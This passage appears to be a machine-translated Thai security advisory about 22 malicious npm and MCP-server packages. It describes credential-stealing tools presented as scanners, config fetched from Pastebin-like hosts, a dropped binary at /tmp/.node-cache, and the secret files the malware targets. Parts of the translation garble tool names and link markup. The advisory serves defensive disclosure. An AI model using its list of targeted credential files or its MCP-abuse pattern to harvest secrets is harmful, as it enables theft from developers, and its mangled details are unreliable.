  2. ให้ถือว่าการแทรกแซงการกำหนดค่าแบบไดนามิกเป็นสิ่งที่เป็นอันตรายจนกว่าจะพิสูจน์ได้เป็นอย่างอื่น แพ็กเกจที่เรียกใช้เอนด์พอยต์ขาออกในระหว่างการทำงานจากเอกสารภายนอก (GitHub Pages, GitHub Gist, Pastebin, วัตถุ S3 หรือที่อื่นๆ) ไม่มีเหตุผลที่ถูกต้องในการทำเช่นนั้นเพื่อการเก็บข้อมูลทางไกล เอนด์พอยต์สำหรับการเก็บข้อมูลทางไกลที่แท้จริงนั้นจะต้องถูกกำหนดไว้ในโค้ดและมีการบันทึกไว้อย่างชัดเจน
  3. ตรวจสอบแพ็คเกจ MCP-server โดยใช้เครื่องมือที่ระบุไว้ในโฆษณา แพ็กเกจ Variant-A ทั้งหมดโฆษณาเครื่องมือที่มีชื่อดังกล่าว search_leaked_credentials, validate_chain_key, deploy_safeและคำกริยา "ตรวจสอบ" ที่คล้ายกัน โฮสต์ MCP ที่แสดงเครื่องมือซึ่งคำอธิบายอ้างว่าสแกนไดเร็กทอรีโครงการเพื่อหาข้อมูลประจำตัว ควรต้องมีการเลือกใช้งานจากผู้ปฏิบัติงานอย่างชัดเจนก่อนที่เอเจนต์จะเรียกใช้เครื่องมือดังกล่าวในโค้ดเบสจริง จุดประสงค์ของ MCP คือลูปของเอเจนต์ไม่มีทางรู้ได้ว่า search_leaked_credentials เป็นการค้นหาข้อมูลประจำตัว หรือเป็นการขโมยข้อมูลประจำตัว

สำหรับนักพัฒนาที่อาจติดตั้งแพ็กเกจใดแพ็กเกจหนึ่งจาก 22 แพ็กเกจแล้ว: ให้ถือว่าคีย์ข้อความธรรมดาใดๆ ใน ~ / .ssh, ~/.ethereum, ~/.บิตคอยน์, ~/.โซลาน่า, ~/.envหรือ ~/.git-ข้อมูลประจำตัว หากระบบถูกบุกรุก ให้เปลี่ยนข้อมูลประจำตัวทั้งหมดที่มีชื่อตรงกับรายการตัวกรองตัวแปรสภาพแวดล้อมด้านบน และบน Linux/macOS ให้ตรวจสอบหาไฟล์ปฏิบัติการที่ /tmp/.node-cache (และกระบวนการที่ถูกทิ้งร้างใดๆ ที่เริ่มต้นจากกระบวนการนั้น) การติดตั้งเครื่องมือที่ถูกปลอมแปลงเวอร์ชันที่ถูกต้องอีกครั้ง (โรงหล่อ, แห้ว, หมวกแข็ง, ganache(เป็นต้น) ไม่ได้ลบไฟล์ไบนารีที่ถูกทิ้งไป

ส่วนที่ดูแย่ที่สุดในเรื่องนี้คือกลุ่ม Variant-C ที่ไม่ได้ใช้งาน แพ็กเกจเก้าชุดที่มีโปรไฟล์การติดตั้งที่สะอาดหมดจดและผู้เผยแพร่ที่ได้รับการยอมรับนั้นเป็นสินค้าคงคลังประเภทที่ผู้ดำเนินการมักเก็บไว้สำรอง หากพวกมันระเบิดขึ้นในภายหลัง — เช่นเดียวกับที่ PhantomBot เคยเกิดขึ้นเมื่อมัน... axois-utils แพ็กเกจใหม่นี้เปลี่ยนจากการขโมยข้อมูลประจำตัวไปเป็นการสรรหาบอทเน็ต — มันจะโจมตีผู้ใช้รีจิสทรีใดๆ ก็ตามที่ตรึงแพ็กเกจ Variant-C ไว้ระหว่างวันนี้จนถึงวันที่ถูกลบ การตรึงแพ็กเกจที่เป็นอันตรายตามเวอร์ชันไม่ได้ปกป้องคุณจากผู้เผยแพร่ที่ควบคุมทุกเวอร์ชัน

อ้างอิง

  • [หน้าผู้เผยแพร่ npm สำหรับ] ddjidd5640](https://www.npmjs.com/~ddjidd5640— ปัจจุบันมีสินค้า 22 รายการที่อยู่ในบัญชีนี้ แหล่งข้อมูลที่เชื่อถือได้สำหรับแคตตาล็อก ณ เวลาที่เขียนบทความนี้
  • [หน้าแพ็กเกจ npm สำหรับ] เครื่องสแกนข้อมูลประจำตัวคริปโต](https://www.npmjs.com/package/crypto-credential-scanner) — ตัวอย่างไฟล์ Variant-A; สามารถดูไฟล์ README, ประวัติเวอร์ชัน และลิงก์ผู้เขียนได้ที่นี่
sca-tools-software-composition-analysis-tools
จัดลำดับความสำคัญ แก้ไข และรักษาความปลอดภัยความเสี่ยงด้านซอฟต์แวร์ของคุณ
สมัครบัญชีฟรีได้เลย
ไม่ต้องใช้บัตรเครดิต

รักษาความปลอดภัยให้กับการพัฒนาและส่งมอบซอฟต์แวร์ของคุณ

ด้วยชุดผลิตภัณฑ์ Xygeni